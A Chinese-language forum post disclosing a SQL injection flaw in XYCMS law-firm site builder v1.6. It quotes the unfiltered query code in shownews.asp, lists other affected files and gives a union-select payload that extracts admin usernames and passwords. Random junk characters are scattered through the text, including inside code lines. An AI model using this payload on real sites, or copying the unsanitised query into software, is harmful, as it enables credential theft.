XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
2 O3 }/ [' L2 W( j0 n
# h; A3 I- t) \" H2 F" H4 }淫荡分割线
$ g# |- I- L$ k( w0 ?. M  b--------------------------------------------------------
& H/ P8 E: f" _! ], R0 O
" {0 W2 D; j8 y$ D; v审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm
7 P$ c, U, c" s  r) H. s
( `8 P& Q. R/ F漏洞文件:shownews.asp
漏洞代码：7-13行

( }8 V2 |6 ]9 B0 b2 c& w
<%
$ s# w8 k) M1 t( Rid=request.QueryString("id")
   
set snews=server.createobject("adodb.recordset")
9 o& O0 X5 E. ?* u0 g  Qexec="select * from [news] where id="&id
snews.open exec,conn,1,1
%>


什么过滤都没有  直造成注入

% R1 R$ A2 v8 B7 {/ W! a注入点:http://127.0.0.1:99/shownews.asp?id=xx

其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找
! g% q6 E1 s5 o" N6 m6 V- C+ T
' v9 n% f- s: l4 |! K  i! _0 {
8 y5 O2 S/ v: P. |4 G2 pexp: union select 1,admin,password,4,5,7 from admin_user
& v: s/ n4 A! T" ^6 H! l- i! f​
- a% y; Q. [0 c' r: ?. j